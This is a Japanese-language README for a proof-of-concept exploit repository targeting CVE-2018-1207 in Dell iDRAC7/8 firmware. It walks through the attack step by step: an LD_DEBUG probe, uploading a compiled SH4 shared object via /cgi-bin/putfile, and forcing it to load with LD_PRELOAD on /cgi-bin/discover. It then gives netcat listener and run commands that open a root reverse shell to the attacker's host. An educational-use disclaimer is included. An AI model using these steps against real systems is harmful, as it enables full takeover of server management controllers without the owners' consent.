
ファームウェア 2.52.52.52 以下の iDRAC 7 & 8 用リバースシェル CVE
このリポジトリには、ファームウェアバージョン 2.52.52.52 以下の iDRAC7 および iDRAC8 デバイスに存在するリモートコード実行エクスプロイトを実証する Proof of Concept Python スクリプトが含まれています。このエクスプロイトにより、攻撃者は root レベルユーザーとしてコードを実行でき、システム全体の乗っ取りにつながる可能性があります。コードでは、このエクスプロイトを使用したリバースシェル攻撃を実行することでこれを示しています。このリポジトリのコードは、Michael Gargiullo (mgargiullo) による元のエクスプロイトの編集版です。
免責事項 - このコードは教育目的のみで提供されています。このスクリプトを使用して、自分が所有していない、または明示的な書面による同意を得ていないデバイスを攻撃することはできません。適切な許可なくこのスクリプトをシステムに使用することは違法です。このツールの誤用や損害について、私は一切の責任を負いません。許可なく使用すると、罰金や懲役を含む重大な法的結果を招く可能性があります。
?LD_DEBUG=files を付けてログインページにリクエストを送信します。応答に、どのライブラリファイルをロードしようとしているかを示すデバッグコンテンツが含まれている場合、脆弱であることがわかります。sh4-linux-gnu-gcc を使用して作成した C コードファイルをコンパイルします。iDRAC は SuperH (SH4) プロセッサアーキテクチャ上で動作するため、コードを共有オブジェクト (.so) にコンパイルして iDRAC で実行可能にする必要があります。POST リクエストを /cgi-bin/putfile に送信してファイルをアップロードします。これにより、ファイルは /tmp/sshpkauthupload.tmp に保存されます。?LD_PRELOAD=/tmp/sshpkauthupload.tmp パラメータを付けて /cgi-bin/discover に別の GET リクエストを送信します。これにより、iDRAC は他のライブラリより先に指定されたライブラリをロードするよう強制され、/tmp/ ディレクトリから変更された .so ファイルがロードされます。constructor 関数内にあるため、ロードされると即座にコードが実行され、root ユーザー (Linux ベースシステムで最高権限を持つユーザー) としてリバースシェルが確立されます。スクリプトを実行する前に、以下のものが揃っていることを確認してください。
pip install requests でインストール可能)sudo apt install gcc-sh4-linux-gnu でインストール可能)これらの要件を満たしていない場合、問題が発生し、エクスプロイトを完全に実行できません! これらの要件が満たされているかどうかを確認するチェックは行われていません。
リバースシェルを受け取るために、マシンでリスナーを起動します。これには netcat を使用します。
nc -lvnp <LPORT>
<LPORT> はリスニングするポート (例: 5000) に置き換えてください。
必要な引数を指定してスクリプトを実行します。
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: ターゲット iDRAC の IP アドレス。--rport: iDRAC Web インターフェースのポート (通常は 443)。--lhost: リバースシェルが接続するあなたのローカル IP アドレス。--lport: Netcat リスナーが実行されているローカルポート。--keep-payload: (オプション) 設定すると、実行後に payload.c と payload.so をマシンから削除しません。攻撃者のマシン (IP: 192.168.1.100) - リスナーを起動します。
nc -lvnp 5000
攻撃者のマシン - 192.168.1.50 の iDRAC をターゲットにしてエクスプロイトを実行します。
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
成功すると、Netcat ターミナルでシェルセッションが取得でき、racadm などのコマンドを実行できるようになります。